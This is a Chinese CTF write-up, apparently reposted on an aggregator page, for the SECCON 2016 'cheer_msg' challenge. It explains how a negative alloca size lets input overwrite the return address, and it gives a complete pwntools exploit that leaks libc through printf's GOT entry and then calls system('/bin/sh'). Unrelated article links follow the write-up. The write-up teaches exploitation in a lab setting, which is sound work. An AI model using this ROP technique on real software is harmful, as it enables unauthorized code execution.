前言


本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


本文目的是以一道比较简单的 ctf 的练手,为后面的分析 RouterOs 的 漏洞和写 exploit 打基础。

Seccon CTF quals 2016 的一道题。

题目,idb 文件:

https://gitee.com/hac425/blog_data/tree/master/pwn_with_alloca

正文

首先看看 main 函数的代码。

逻辑还是比较简单的获取输入后,简单的加了 30 就给 alloca 去分配空间,然后进入 message 函数。

alloca 函数是 从 栈上分配内存, 它分配内存是通过 sub esp , * 来实现的,我们可以转到汇编代码看看。

可以看到调用 alloca 实际就是通过 sub esp, eax 来分配栈内存。

我们输入的 numint 类型的

如果我们输入 num 为 负数, sub esp 就相当于 add esp 我们可以把栈指针往栈底移动。

继续往下看

接下来会调用 message 函数, 可以看到传给他的参数为 esp + 23num , 进入 message 函数 ,看看他的逻辑。



首先读取 n 个字符 到 buf , 这两个变量就是我们传入的参数。

然后读入 0x40 个字符到 message 函数自己定义的局部变量中。

一切都很正常,没有溢出,没有格式化字符串漏洞。

程序的漏洞在于传入的 buf 是通过 alloca 分配的内存,我们可以通过输入 负数 使得 alloca的参数为负, 这样我们就可以把 esp 往栈底移动,栈底有返回地址, 然后通过 message 中读取数据,覆盖 eip 然后进行 rop 即可。

要触发漏洞我们需要输入负数,所以在



会直接返回,不会获取输入,因为它里面调用的是 fgets来获取输入。fgets会有检查。

所以我们只能往 message 函数内的缓冲区 t_buf写数据,不过这个缓冲区也是在栈上,同样与 esp 相关,所以我们把esp 往栈底移时,它也是会跟着下移,通过它也可以写 返回地址 的值。

我们可以输入 -140(这个值可以通过 先输入一个 比较小的比如 -32, 然后计算最后得到的数据的地址距离返回地址位置的距离,来继续调整)

0x0804860E 设个断点

sub 之后

可以看到 esp 已经增大。

然后加上一定的 padding (可以使用 pwntoolscyclic 计算) ,就能修改 返回地址了。

之后就是正常的 rop


使用 printf 打印 got 表中的 printf 的值,泄露 libc 的地址。然后回到程序的开始,再次触发漏洞, 调用 system("sh")


总结

alloca 的细节要注意, 注意输入的数据是有符号的还是无符号的。对于后面计算偏移,可以先动态调试计算一个粗略的值,然后使用 cyclic 确定精确的偏移。

exp

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']
r = process("./cheer_msg") binary = ELF('cheer_msg')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') gdb.attach(r, '''
bp 0x0804868B
bp 0x08048610
''') r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ") payload = "a" * 0x10 # padding
payload += p32(binary.symbols['printf'])
payload += p32(binary.entry) # ret to start
payload += p32(binary.got['printf']) r.sendline(payload) r.recvuntil("Message :")
r.recv(1)
r.recv(1)
printf_addr = u32(r.recv(4))
libc_base = printf_addr - libc.symbols['printf']
sh = libc_base + libc.search("/bin/sh\x00").next()
system = libc_base + libc.symbols['system'] log.info("got system: " + hex(system))
log.info("got base: " + hex(libc_base))
log.info("get sh " + hex(sh)) r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ") payload = "a" * 0x10 # padding
payload += p32(system)
payload += p32(binary.entry)
payload += p32(sh)
r.sendline(payload) r.interactive()

参考:

https://github.com/0x90r00t/Write-Ups/tree/master/Seccon/cheer_msg

一步一步 Pwn RouterOS之ctf题练手的更多相关文章

  1. 一步一步pwn路由器之rop技术实战

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...

  2. 一步一步pwn路由器之wr940栈溢出漏洞分析与利用

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...

  3. 一步一步学ROP之linux_x64篇

    一步一步学ROP之linux_x64篇 一.序 **ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防 ...

  4. 一步一步学ROP之gadgets和2free篇(蒸米spark)

    目录 一步一步学ROP之gadgets和2free篇(蒸米spark) 0x00序 0x01 通用 gadgets part2 0x02 利用mmap执行任意shellcode 0x03 堆漏洞利用之 ...

  5. 一步一步学ROP之linux_x64篇(蒸米spark)

    目录 一步一步学ROP之linux_x64篇(蒸米spark) 0x00 序 0x01 Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击 0x02 ...

  6. 一步一步学ROP之linux_x86篇(蒸米spark)

    目录 一步一步学ROP之linux_x86篇(蒸米spark) 0x00 序 0x01 Control Flow Hijack 程序流劫持 0x02 Ret2libc – Bypass DEP 通过r ...

  7. 如何一步一步用DDD设计一个电商网站(九)—— 小心陷入值对象持久化的坑

    阅读目录 前言 场景1的思考 场景2的思考 避坑方式 实践 结语 一.前言 在上一篇中(如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成),有一行注释的代码: public interfa ...

  8. 如何一步一步用DDD设计一个电商网站(八)—— 会员价的集成

    阅读目录 前言 建模 实现 结语 一.前言 前面几篇已经实现了一个基本的购买+售价计算的过程,这次再让售价丰满一些,增加一个会员价的概念.会员价在现在的主流电商中,是一个不大常见的模式,其带来的问题是 ...

  9. 如何一步一步用DDD设计一个电商网站(十)—— 一个完整的购物车

     阅读目录 前言 回顾 梳理 实现 结语 一.前言 之前的文章中已经涉及到了购买商品加入购物车,购物车内购物项的金额计算等功能.本篇准备把剩下的购物车的基本概念一次处理完. 二.回顾 在动手之前我对之 ...

随机推荐

  1. Java之IO(八)PipedIutputStream和PipedOutputStream

    转载请注明源出处:http://www.cnblogs.com/lighten/p/7056278.html 1.前言 本章介绍Java的IO体系中最后一对字节流--管道流.之前在字节数组流的时候就说 ...

  2. linux传输文件命令: rz 和 sz

    参考: https://www.cnblogs.com/xiluhua/p/6218563.html https://blog.csdn.net/u014242496/article/details/ ...

  3. Linux的管道命令

    Linux的管道命令 管道命令(Pipe) 管道命令用"|"来表示,管道命令需要接收前一个命令的输出来进行操作,但不能处理前一个命令的错误. //选取界面:cut,grep cut ...

  4. ERROR:org.apache.hadoop.hbase.PleaseHoldException: Master is initializing 解决方案

    我尝试的过程如下 1. 时间没有同步 用date命令看一下每个机器 如果时间差距大 说明确实有问题 ** 配置时间服务器             ** 检查时区                 $ d ...

  5. litespeed 下配置 伪静态,反向代理

    <IfModule mod_rewrite.c>RewriteEngine onRewriteBase / RewriteRule ^(.*).html$ index.php?static ...

  6. 【数组】Next Permutation

    题目: Implement next permutation, which rearranges numbers into the lexicographically next greater per ...

  7. C语言初学

    输出控制符 输出控制符 含义 %d int 整型数 %ld long int %c char 一个字符 %f float 浮点数,整数/整数=整数,整数/小数=小数 %lf double %x %X ...

  8. 解决Nginx 504 Gateway Time-out问题

    解决方案:在http里设置FastCGI相关参数,如: worker_processes 1; events { worker_connections 1024; } http { include m ...

  9. R语言运算符

    运算符是一个符号,它告诉编译器执行特定的数学或逻辑操作. R语言丰富的内置运算符,并提供以下类型的运算符. 运算符类型 在R编程中有以下类型的运算符 - 算术运算符 关系运算符 逻辑运算符 赋值运算符 ...

  10. C#合并两个Dictionary的方法

    直接代码: public Dictionary<string, string> MergeDictionary(Dictionary<string, string> first ...